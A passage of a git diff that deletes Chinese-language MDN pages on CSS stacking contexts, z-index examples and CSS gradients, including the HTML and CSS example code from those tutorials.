先看一个基础的例子。在根元素的层叠上下文中,有两个都是相对定位且没有设置 z-index 属性的 DIV(DIV #1 和 DIV #3)。在 DIV #1 中有一个绝对定位的 DIV #2,而在 DIV #3 中有一个绝对定位的 DIV #4,DIV #2 和 DIV #4 也都没有设置 z-index 属性。

- -

现在唯一的层叠上下文就是根元素的上下文。因为没有 z-index 值,所有的元素按照出现(在 HTML 中)的顺序层叠。

- -

Stacking context example 1

- -

如果给 DIV #2 设置一个正的 z-index  值 (不能是 0 或 auto) ,那么 DIV #2 会渲染在其他所有 DIV 之上。

- -

Stacking context example 1

- -

然后如果给 DIV #4 也设置一个正的 z-index  值,且这个值比给的 DIV #2 设置的值要大,则 DIV #4  会渲染在其他所有 DIV(包括 DIV #2)之上。

- -

Stacking context example 1

- -

在这个列子中,DIV #2 和 DIV #4 不是兄弟关系(因为它们的父元素不同)。即便如此,我们也可以通过 z-index 来控制 DIV #4 和 DIV #2 的层叠关系。这是因为,DIV #1 和 DIV #3 没有设置 z-index 的值,所以它们不会创建层叠上下文。这就意味着 DIV #1 和 DIV #3 的所有内容(包括 DIV #2 和 DIV #4)都属于同一个层叠上下文(即根元素的层叠上下文)。

- -

就层叠上下文而言,DIV #1 和 DIV #3 隶属于根元素,因此层次结构如下所示:

- -
    -
  • 根层叠上下文(root stacking context) -
      -
    • DIV #2 (z-index 1)
    • -
    • DIV #4 (z-index 2)
    • -
    -
  • -
- -
注意: DIV #1 和 DIV #3 不是透明的。记住所有设置了 opacity 小于 1 的定位元素都会隐式地生成一个层叠上下文(和给元素增加一个 z-index 值的效果相同)。上述的例子是为了说明,当父元素没有生成一个层叠上下文环境的时候,各元素是怎么层叠的。
- -

Example

- -

HTML

- -
<div id="div1">
-<br /><span class="bold">DIV #1</span>
-<br />position: relative;
-   <div id="div2">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: absolute;
-   <br />z-index: 1;
-   </div>
-</div>
-
-<br />
-
-<div id="div3">
-<br /><span class="bold">DIV #3</span>
-<br />position: relative;
-   <div id="div4">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-   <br />z-index: 2;
-   </div>
-</div>
-
-</body></html>
-
- -

CSS

- -
.bold {
-    font-weight: bold;
-    font: 12px Arial;
-}
-#div1,
-#div3 {
-    height: 80px;
-    position: relative;
-    border: 1px dashed #669966;
-    background-color: #ccffcc;
-    padding-left: 5px;
-}
-#div2 {
-    opacity: 0.8;
-    z-index: 1;
-    position: absolute;
-    width: 150px;
-    height: 200px;
-    top: 20px;
-    left: 170px;
-    border: 1px dashed #990000;
-    background-color: #ffdddd;
-    text-align: center;
-}
-#div4 {
-    opacity: 0.8;
-    z-index: 2;
-    position: absolute;
-    width: 200px;
-    height: 70px;
-    top: 65px;
-    left: 50px;
-    border: 1px dashed #000099;
-    background-color: #ddddff;
-    text-align: left;
-    padding-left: 10px;
-}
- -

Result

- -

{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1') }}

- -

See also

- - - -
-

Original Document Information

- - -
diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html deleted file mode 100644 index 3c21bef062..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_2/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Stacking context example 2 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 -tags: - - CSS - - 理解css的index属性 - - 高级 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 ---- -

« CSS « 理解CSS z-index

- -

层叠上下文示例 2

- -

这是一个非常简单的例子, 但它是理解层叠上下文这个概念的关键。还是和之前的例子中一样的四个DIV,不过现在z-index属性被分配在两个水平的层次结构中。

- -

{{ EmbedLiveSample('Example_source_code', '352', '270', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2') }}

- -

可以看到现在DIV #2 (z-index: 2)在DIV #3 (z-index: 1)的上面,因为他们都属于同一个层叠上下文(根元素创建的层叠上下文),所以z-index的值决定了元素如何叠放。

- -

奇怪的是DIV #2 (z-index: 2)在DIV #4 (z-index: 10)的上面,尽管DIV #2的z-index值小于DIV #4。原因在于它们不属于同一个层叠上下文。DIV #4处于DIV #3所创建的层叠上下文中,而整个DIV #3(包含其后代元素)是在DIV #2下面的。

- -

为了更好的理解这种情况, 这里列出了层叠上下文的层次结构:

- -
    -
  • 根上下文(root stacking context) -
      -
    • DIV #2 (z-index 2)
    • -
    • DIV #3 (z-index 1) -
        -
      • DIV #4 (z-index 10)
      • -
      -
    • -
    -
  • -
- -
Note: 值得记住的是,通常HTML的层次结构和层叠上下文的层次结构是不同的。在层叠上下文的层次结构中,没有创建层叠上下文的元素同其父级处于一个层叠上下文。
- -

示例源码

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div { font: 12px Arial; }
-
-span.bold { font-weight: bold; }
-
-#div2 { z-index: 2; }
-#div3 { z-index: 1; }
-#div4 { z-index: 10; }
-
-#div1,#div3 {
-   height: 80px;
-   position: relative;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   padding-left: 5px;
-}
-
-#div2 {
-   opacity: 0.8;
-   position: absolute;
-   width: 150px;
-   height: 200px;
-   top: 20px;
-   left: 170px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#div4 {
-   opacity: 0.8;
-   position: absolute;
-   width: 200px;
-   height: 70px;
-   top: 65px;
-   left: 50px;
-   border: 1px dashed #000099;
-   background-color: #ddddff;
-   text-align: left;
-   padding-left: 10px;
-}
-
-
-</style></head>
-
-<body>
-
-    <br />
-
-    <div id="div1"><br />
-        <span class="bold">DIV #1</span><br />
-        position: relative;
-        <div id="div2"><br />
-            <span class="bold">DIV #2</span><br />
-            position: absolute;<br />
-            z-index: 2;
-        </div>
-    </div>
-
-    <br />
-
-    <div id="div3"><br />
-        <span class="bold">DIV #3</span><br />
-        position: relative;<br />
-        z-index: 1;
-        <div id="div4"><br />
-            <span class="bold">DIV #4</span><br />
-            position: absolute;<br />
-            z-index: 10;
-        </div>
-    </div>
-
-</body>
-</html>
-
- -

相关文章

- - - -
-

原文信息

- - -
- -

 

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html deleted file mode 100644 index f7d2972c7c..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_context_example_3/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Stacking context example 3 -slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 -tags: - - CSS - - 层叠上下文 - - 理解css的z-index属性 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 ---- -

« CSS « Understanding CSS z-index

- -

层叠上下文示例 3

- -

最后一个例子展示了,在多层级的HTML结构中混合了多个定位元素且使用类选择器设置z-index属性时出现的问题。

- -

我们来看一个用多个定位的div实现的三级菜单的例子,二级菜单和三级菜单在鼠标悬停或点击其父元素时才出现,通常这样的菜单在客户端和服务端都是由脚本生成的,所以样式规则不是通过ID选择器设置而是通过类选择器设置。

- -

如果这个三级菜单有部分区域重叠,管理层叠顺序就会成为一个问题。

- -

{{ EmbedLiveSample('Example_source_code', '320', '330', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3') }}

- - - -

一级菜单仅仅是相对定位,所以没有创建层叠上下文。

- -

二级菜单相对其父元素(一级菜单)绝对定位,要使二级菜单在所有一级菜单的上方,则需要使用z-index。此时每个二级菜单都创建了一个层叠上下文,而三级菜单也处于其父元素(二级菜单)创建的上下文中。

- -

这样一来,在HTML结构中处于三级菜单后面的二级菜单,则会显示在三级菜单的上方,因为所有的二级菜单都使用了同样的z-index值,所以处于同一个层叠上下文中。

- -

为了能更好地理解这种情况,这里列出了层叠上下文的层次结构:

- -
    -
  • root stacking context -
      -
    • LEVEL #1 -
        -
      • LEVEL #2 (z-index: 1) -
          -
        • LEVEL #3
        • -
        • ...
        • -
        • LEVEL #3
        • -
        -
      • -
      • LEVEL #2 (z-index: 1)
      • -
      • ...
      • -
      • LEVEL #2 (z-index: 1)
      • -
      -
    • -
    • LEVEL #1
    • -
    • ...
    • -
    • LEVEL #1
    • -
    -
  • -
- -

可以通过移除不同级别的菜单之间的重叠,或者使用ID选择器指定独立的(不同的)z-index值,或者减少HTML的层级来解决这个问题。

- -
Note: 在源码中你会看到三级菜单和二级菜单是由一个绝对定位元素包含很多div来实现的,这种方式在需要同时定位一组元素时很有用。
- -

示例源码

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div { font: 12px Arial; }
-
-span.bold { font-weight: bold; }
-
-div.lev1 {
-   width: 250px;
-   height: 70px;
-   position: relative;
-   border: 2px outset #669966;
-   background-color: #ccffcc;
-   padding-left: 5px;
-}
-
-#container1 {
-   z-index: 1;
-   position: absolute;
-   top: 30px;
-   left: 75px;
-}
-
-div.lev2 {
-   opacity: 0.9;
-   width: 200px;
-   height: 60px;
-   position: relative;
-   border: 2px outset #990000;
-   background-color: #ffdddd;
-   padding-left: 5px;
-}
-
-#container2 {
-   z-index: 1;
-   position: absolute;
-   top: 20px;
-   left: 110px;
-}
-
-div.lev3 {
-   z-index: 10;
-   width: 100px;
-   position: relative;
-   border: 2px outset #000099;
-   background-color: #ddddff;
-   padding-left: 5px;
-}
-
-</style></head>
-
-<body>
-
-<br />
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-
-   <div id="container1">
-
-      <div class="lev2">
-      <br /><span class="bold">LEVEL #2</span>
-      <br />z-index: 1;
-
-         <div id="container2">
-
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-            <div class="lev3"><span class="bold">LEVEL #3</span></div>
-
-         </div>
-
-      </div>
-
-      <div class="lev2">
-      <br /><span class="bold">LEVEL #2</span>
-      <br />z-index: 1;
-      </div>
-
-   </div>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-<div class="lev1">
-<span class="bold">LEVEL #1</span>
-</div>
-
-</body></html>
-
- -

相关文章

- - - -
-

原文信息

- - -
- -

Note: the reason the sample image looks wrong - with the second level 2 overlapping the level 3 menus - is because level 2 has opacity, which creates a new stacking context. Basically, this whole sample page is incorrect and misleading.

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html deleted file mode 100644 index a5aaebdc95..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/stacking_without_z-index/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Stacking without z-index -slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index ---- -

« CSS « 理解 CSS z-index

- -

不含z-index的堆叠

- -

当没有元素包含z-index属性时,元素按照如下顺序堆叠(从底到顶顺序):

- -
    -
  1. 根元素的背景和边界
  2. -
  3. 普通流(无定位)里的块元素(没有position或者position:static;)按HTML中的出现顺序堆叠
  4. -
  5. 定位元素按HTML中的出现顺序堆叠
  6. -
- -

在接下来的例子中,相对和绝对定位的块元素的大小和位置刚好说明上述堆叠规则。

- -
-

Notes:

- -
    -
  • 在一组由不含有任何z-index属性的同类元素,如例子中的定位块元素(DIV #1 至 #4),这些元素按照它们在HTML结构中出现的顺序堆叠,而不管它们的定位属性如何。
  • -
  • -

    普通流中不含有定位属性的标准块元素(DIV #5)始终先于定位元素渲染并出现在定位元素的下层,即便它们在HTML结构中出现的位置晚于定位元素也是如此。

    -
  • -
-
- -

understanding_zindex_01.png

- -

 

- -

示例

- -
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-<head><style type="text/css">
-
-div {
-   font: 12px Arial;
-}
-
-span.bold { font-weight: bold; }
-
-#normdiv {
-   height: 70px;
-   border: 1px dashed #999966;
-   background-color: #ffffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv1 {
-   opacity: 0.7;
-   height: 100px;
-   position: relative;
-   top: 30px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#reldiv2 {
-   opacity: 0.7;
-   height: 100px;
-   position: relative;
-   top: 15px;
-   left: 20px;
-   border: 1px dashed #669966;
-   background-color: #ccffcc;
-   margin: 0px 50px 0px 50px;
-   text-align: center;
-}
-
-#absdiv1 {
-   opacity: 0.7;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   left: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-#absdiv2 {
-   opacity: 0.7;
-   position: absolute;
-   width: 150px;
-   height: 350px;
-   top: 10px;
-   right: 10px;
-   border: 1px dashed #990000;
-   background-color: #ffdddd;
-   text-align: center;
-}
-
-</style></head>
-
-<body>
-
-<br /><br />
-
-<div id="absdiv1">
-   <br /><span class="bold">DIV #1</span>
-   <br />position: absolute;
-</div>
-
-<div id="reldiv1">
-   <br /><span class="bold">DIV #2</span>
-   <br />position: relative;
-</div>
-
-<div id="reldiv2">
-   <br /><span class="bold">DIV #3</span>
-   <br />position: relative;
-</div>
-
-<div id="absdiv2">
-   <br /><span class="bold">DIV #4</span>
-   <br />position: absolute;
-</div>
-
-<div id="normdiv">
-   <br /><span class="bold">DIV #5</span>
-   <br />no positioning
-</div>
-
-</body></html>
-
-
- -

See also

- - - -

 

- -
-

Original Document Information

- - -
- -

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html deleted file mode 100644 index 6d96e3e198..0000000000 --- a/files/zh-cn/web/guide/css/understanding_z_index/the_stacking_context/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: 层叠上下文 -slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context -tags: - - Advanced - - CSS - - CSS层叠上下文 - - z-index - - 教程 -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context ---- -
{{cssref}}
- -

我们假定用户正面向(浏览器)视窗或网页,而 HTML 元素沿着其相对于用户的一条虚构的 z 轴排开,层叠上下文就是对这些 HTML 元素的一个三维构想。众 HTML 元素基于其元素属性按照优先级顺序占据这个空间。

- -

层叠上下文

- -

在本篇之前的部分——运用 z-index,(我们认识到)某些元素的渲染顺序是由其 z-index 的值影响的。这是因为这些元素具有能够使他们形成一个层叠上下文的特殊属性

- -

文档中的层叠上下文由满足以下任意一个条件的元素形成:

- -
    -
  • 文档根元素(<html>);
  • -
  • {{cssxref("position")}} 值为 absolute(绝对定位)或  relative(相对定位)且 {{cssxref("z-index")}} 值不为 auto 的元素;
  • -
  • {{cssxref("position")}} 值为 fixed(固定定位)或 sticky(粘滞定位)的元素(沾滞定位适配所有移动设备上的浏览器,但老的桌面浏览器不支持);
  • -
  • flex ({{cssxref("flexbox")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • -
  • grid ({{cssxref("grid")}}) 容器的子元素,且 {{cssxref("z-index")}} 值不为 auto
  • -
  • {{cssxref("opacity")}} 属性值小于 1 的元素(参见 the specification for opacity);
  • -
  • {{cssxref("mix-blend-mode")}} 属性值不为 normal 的元素;
  • -
  • 以下任意属性值不为 none 的元素: -
      -
    • {{cssxref("transform")}}
    • -
    • {{cssxref("filter")}}
    • -
    • {{cssxref("perspective")}}
    • -
    • {{cssxref("clip-path")}}
    • -
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
    • -
    -
  • -
  • {{cssxref("isolation")}} 属性值为 isolate 的元素;
  • -
  • {{cssxref("-webkit-overflow-scrolling")}} 属性值为 touch 的元素;
  • -
  • {{cssxref("will-change")}} 值设定了任一属性而该属性在 non-initial 值时会创建层叠上下文的元素(参考这篇文章);
  • -
  • {{cssxref("contain")}} 属性值为 layoutpaint 或包含它们其中之一的合成值(比如 contain: strictcontain: content)的元素。
  • -
- -

在层叠上下文中,子元素同样也按照上面解释的规则进行层叠。 重要的是,其子级层叠上下文的 z-index 值只在父级中才有意义。子级层叠上下文被自动视为父级层叠上下文的一个独立单元。

- -

总结:

- -
    -
  • 层叠上下文可以包含在其他层叠上下文中,并且一起创建一个层叠上下文的层级。
  • -
  • 每个层叠上下文都完全独立于它的兄弟元素:当处理层叠时只考虑子元素。
  • -
  • 每个层叠上下文都是自包含的:当一个元素的内容发生层叠后,该元素将被作为整体在父级层叠上下文中按顺序进行层叠。
  • -
- -
Note: 层叠上下文的层级是 HTML 元素层级的一个子级,因为只有某些元素才会创建层叠上下文。可以这样说,没有创建自己的层叠上下文的元素会被父层叠上下文同化
- -

示例

- -

Example of stacking rules modified using z-index

- -

在这个例子中,每个被定位的元素都创建了独自的层叠上下文,因为他们被指定了定位属性和 z-index 值。我们把层叠上下文的层级列在下面:

- -
    -
  • Root -
      -
    • DIV #1
    • -
    • DIV #2
    • -
    • DIV #3 -
        -
      • DIV #4
      • -
      • DIV #5
      • -
      • DIV #6
      • -
      -
    • -
    -
  • -
- -

请一定要注意 DIV #4,DIV #5 和 DIV #6 是 DIV #3 的子元素,所以它们的层叠完全在 DIV #3 中被处理。一旦 DIV #3 中的层叠和渲染处理完成,DIV #3 元素就被作为一个整体传递与兄弟元素的 DIV 在 root(根)元素进行层叠。

- -
-

注意:

- -
    -
  • DIV #4 被渲染在 DIV #1 之下,因为 DIV #1 的 z-index (5) 在 root 元素的层叠上下文中生效,而 DIV #4 的 z-index (6) 在 DIV #3 的层叠上下文中生效。因此,DIV #4 在 DIV #1 之下,因为 DIV #4 归属于 z-index 值较低的 DIV #3 元素。
  • -
  • 由此可得 DIV #2 (z-index 2) 被渲染在 DIV #5 (z-index 1) 之下,因为 DIV #5 归属于 z-index 较高的 DIV #3 元素。
  • -
  • DIV #3 的 z-index 值是 4,但是这个值独立于 DIV #4,DIV #5 和 DIV #6 的 z-index 值,因为他们从属于不同的层叠上下文。
  • -
  • 分辨出层叠的元素在 Z 轴上的渲染顺序的一个简单方法是将它们想象成一系列的版本号,子元素是其父元素版本号之下的次要版本。通过这个方法我们可以轻松地看出为什么一个 z-index 为 1 的元素(DIV #5)层叠于一个 z-index 为 2 的元素(DIV #2)之上,而一个 z-index 为 6 的元素(DIV #4)层叠于 z-index 为 5 的元素(DIV #1)之下。在我们的例子中(依照最终渲染次序排列): -
      -
    • Root -
        -
      • DIV #2 - z-index 为 2
      • -
      • DIV #3 - z-index 为 4 -
          -
        • DIV #5 - z-index 为 1,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.1
        • -
        • DIV #6 - z-index 为 3,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.3
        • -
        • DIV #4 - z-index 为 6,在一个 z-index 为 4 的元素内层叠,所以渲染次序为 4.6
        • -
        -
      • -
      • DIV #1 - z-index 为 5
      • -
      -
    • -
    -
  • -
-
- -

示例源码

- -

HTML

- -
<div id="div1">
-  <h1>Division Element #1</h1>
-  <code>position: relative;<br/>
-  z-index: 5;</code>
-</div>
-
-<div id="div2">
-  <h1>Division Element #2</h1>
-  <code>position: relative;<br/>
-  z-index: 2;</code>
-</div>
-
-<div id="div3">
-  <div id="div4">
-    <h1>Division Element #4</h1>
-    <code>position: relative;<br/>
-    z-index: 6;</code>
-  </div>
-
-  <h1>Division Element #3</h1>
-  <code>position: absolute;<br/>
-  z-index: 4;</code>
-
-  <div id="div5">
-    <h1>Division Element #5</h1>
-    <code>position: relative;<br/>
-    z-index: 1;</code>
-  </div>
-
-  <div id="div6">
-    <h1>Division Element #6</h1>
-    <code>position: absolute;<br/>
-    z-index: 3;</code>
-  </div>
-</div>
- -

CSS

- -
* {
-    margin: 0;
-}
-html {
-    padding: 20px;
-    font: 12px/20px Arial, sans-serif;
-}
-div {
-    opacity: 0.7;
-    position: relative;
-}
-h1 {
-    font: inherit;
-    font-weight: bold;
-}
-#div1,
-#div2 {
-    border: 1px dashed #696;
-    padding: 10px;
-    background-color: #cfc;
-}
-#div1 {
-    z-index: 5;
-    margin-bottom: 190px;
-}
-#div2 {
-    z-index: 2;
-}
-#div3 {
-    z-index: 4;
-    opacity: 1;
-    position: absolute;
-    top: 40px;
-    left: 180px;
-    width: 330px;
-    border: 1px dashed #900;
-    background-color: #fdd;
-    padding: 40px 20px 20px;
-}
-#div4,
-#div5 {
-    border: 1px dashed #996;
-    background-color: #ffc;
-}
-#div4 {
-    z-index: 6;
-    margin-bottom: 15px;
-    padding: 25px 10px 5px;
-}
-#div5 {
-    z-index: 1;
-    margin-top: 15px;
-    padding: 5px 10px;
-}
-#div6 {
-    z-index: 3;
-    position: absolute;
-    top: 20px;
-    left: 180px;
-    width: 150px;
-    height: 125px;
-    border: 1px dashed #009;
-    padding-top: 125px;
-    background-color: #ddf;
-    text-align: center;
-}
- -

Result

- -

{{EmbedLiveSample('示例源码', '100%', '396') }}

- -

参考

- - - -
-

原始文档信息

- - -
diff --git a/files/zh-cn/web/guide/css/using_css_gradients/index.html b/files/zh-cn/web/guide/css/using_css_gradients/index.html deleted file mode 100644 index 21460cd820..0000000000 --- a/files/zh-cn/web/guide/css/using_css_gradients/index.html +++ /dev/null @@ -1,717 +0,0 @@ ---- -title: 使用 CSS 渐变 -slug: Web/Guide/CSS/Using_CSS_gradients -translation_of: Web/CSS/CSS_Images/Using_CSS_gradients ---- -
{{CSSRef}}
- -

CSS 渐变 {{cssxref("<image>")}} 类型的一种特殊类型 {{cssxref("<gradient>")}} 表示,由两种或多种颜色之间的渐进过渡组成。您可以选择三种类型的渐变:线性 (由 {{cssxref("linear-gradient")}} 函数创建),径向(由 {{cssxref("radial-gradient")}} 函数创建) 和圆锥 (由 {{cssxref("conic-gradient")}} 函数创建)。您还可以使用 {{cssxref("repeating-linear-gradient")}} 和 {{cssxref("repeating-radial-gradient")}} 函数创建重复渐变。

- -

渐变可以在任何使用 <image> 的地方使用,例如在背景中。 由于渐变是动态生成的,因此它们可以消除对传统用于实现类似效果的栅格图像文件的需求。 此外,由于渐变是由浏览器生成的,因此在放大时它们看起来比栅格图像更好,并且可以动态调整大小。

- -

我们将从线性渐变开始介绍,然后以线性渐变为例介绍所有渐变类型支持的功能,然后继续介绍径向渐变,圆锥渐变和重复渐变。

- -

使用线性渐变

- -

线性渐变创建了一条沿直线前进的颜色带。

- -
-

基础线性渐变

- -

要创建最基本的渐变类型,您只需指定两种颜色即可。 这些被称为色标。 至少指定两个色标,也可以指定任意数量。

- - - -
.simple-linear {
-  background: linear-gradient(blue, pink);
-}
- -

{{ EmbedLiveSample('A_basic_linear_gradient', 120, 120) }}

-
- -
-

改变渐变方向

- -

默认情况下,线性渐变的方向是从上到下, 你可以指定一个值来改变渐变的方向。

- - - -
.horizontal-gradient {
-  background: linear-gradient(to right, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Changing_the_direction', 120, 120) }}

-
- -
-

对角线渐变

- -

你甚至可以设置渐变方向为从一个对角到另一个对角。

- - - -
.diagonal-gradient {
-  background: linear-gradient(to bottom right, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Diagonal_gradients', 200, 100) }}

-
- -
-

设置渐变角度

- -

如果你想要更精确地控制渐变的方向,你可以给渐变设置一个具体的角度。

- - - -
.angled-gradient {
-  background: linear-gradient(70deg, blue, pink);
-}
-
- -

{{ EmbedLiveSample('Using_angles', 120, 120) }}

- -

在使用角度的时候, 0deg 代表渐变方向为从下到上, 90deg 代表渐变方向为从左到右,诸如此类正角度都属于顺时针方向。 而负角度意味着逆时针方向。

- -

linear_redangles.png

-
- -

声明颜色和创建效果

- -

所有的CSS渐变类型都是一个位置依赖的颜色范围。CSS渐变产生的颜色可以随位置不断变化,从而产生平滑的颜色过渡。也可以创建纯色带和两种颜色之间的硬过渡。以下内容适用于所有渐变函数:

- -
-

使用多种颜色

- -

无需局限于使用两种颜色,你想使用多少种颜色都可以! 默认情况下,所设置颜色会均匀分布在渐变路径中。

- - - -
.auto-spaced-linear-gradient {
-  background: linear-gradient(red, yellow, blue, orange);
-}
-
- -

{{ EmbedLiveSample('Using_more_than_two_colors', 120, 120) }}

-
- -
-

颜色终止位置

- -

你不需要让你设置的颜色在默认位置终止。 你可以通过给每个颜色设置0,1%或者2%或者其他的绝对数值来调整它们的位置。如果你将位置设置为百分数, 0% 表示起始点, 而100%表示终点,但是如果需要的话你也可以设置这个范围之外的其他值来达到你想要的效果。如果有些位置你没有明确设置,那么它将会被自动计算,第一种颜色会在0%处停止,而最后一种颜色是100%,至于其他颜色则是在它邻近的两种颜色的中间停止。 

- - - -
.multicolor-linear {
-   background: linear-gradient(to left, lime 28px, red 77%, cyan);
-}
-
- -

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

-
- -
-

创建实线

- -

要在两种颜色之间创建一条硬线,即创建一个条纹而不是逐渐过渡,可以将相邻的颜色停止设置为相同的位置。在此示例中,两种颜色在50%标记处共享一个颜色停止点,即渐变的一半:

- - - -
.striped {
-   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
-}
- -

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

-
- -
-

渐变提示

- -

默认情况下,渐变会平滑地从一种颜色过渡到另一种颜色。你可以通过设置一个值来将渐变的中心点移动到指定位置。 在如下示例中, 我们将渐变的中心点由50%设为10%。

- - - -
.color-hint {
-  background: linear-gradient(blue, 10%, pink);
-}
-.simple-linear {
-  background: linear-gradient(blue, pink);
-}
- -

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

-
- -
-

创建色带和条纹

- -

要在渐变中包含一个实心的非过渡颜色区域,请包含颜色起止点的两个位置。颜色起止点可以有两个位置,这相当于两个连续颜色在不同位置具有相同的颜色起止点。颜色将在第一个颜色起止点时达到完全饱和,保持该饱和度到第二个颜色起止点,并通过相邻颜色起止点的第一个位置过渡到相邻颜色起止点的颜色。

- - - -
.multiposition-stops {
-   background: linear-gradient(to left,
-       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
-   background: linear-gradient(to left,
-       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
-}
-.multiposition-stop2 {
-   background: linear-gradient(to left,
-      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
-   background: linear-gradient(to left,
-      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
-}
-
- -

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

- -

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

- -

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

- -

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

-
- -
-

Controlling the progression of a gradient

- -

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

- - - -
.colorhint-gradient {
-  background: linear-gradient(to top, black, 20%, cyan);
-}
-.regular-progression {
-  background: linear-gradient(to top, black, cyan);
-}
-
- -

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

-
- -

Overlaying gradients

- -

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

- - - -
.layered-image {
-  background: linear-gradient(to right, transparent, mistyrose),
-      url("https://mdn.mozillademos.org/files/15525/critters.png");
-}
-
- -

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

- -

Stacked gradients

- -

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

- - - -
.stacked-linear {
-  background:
-      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
-      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
-      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
-}
-
- -

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

- -

Using radial gradients

- -

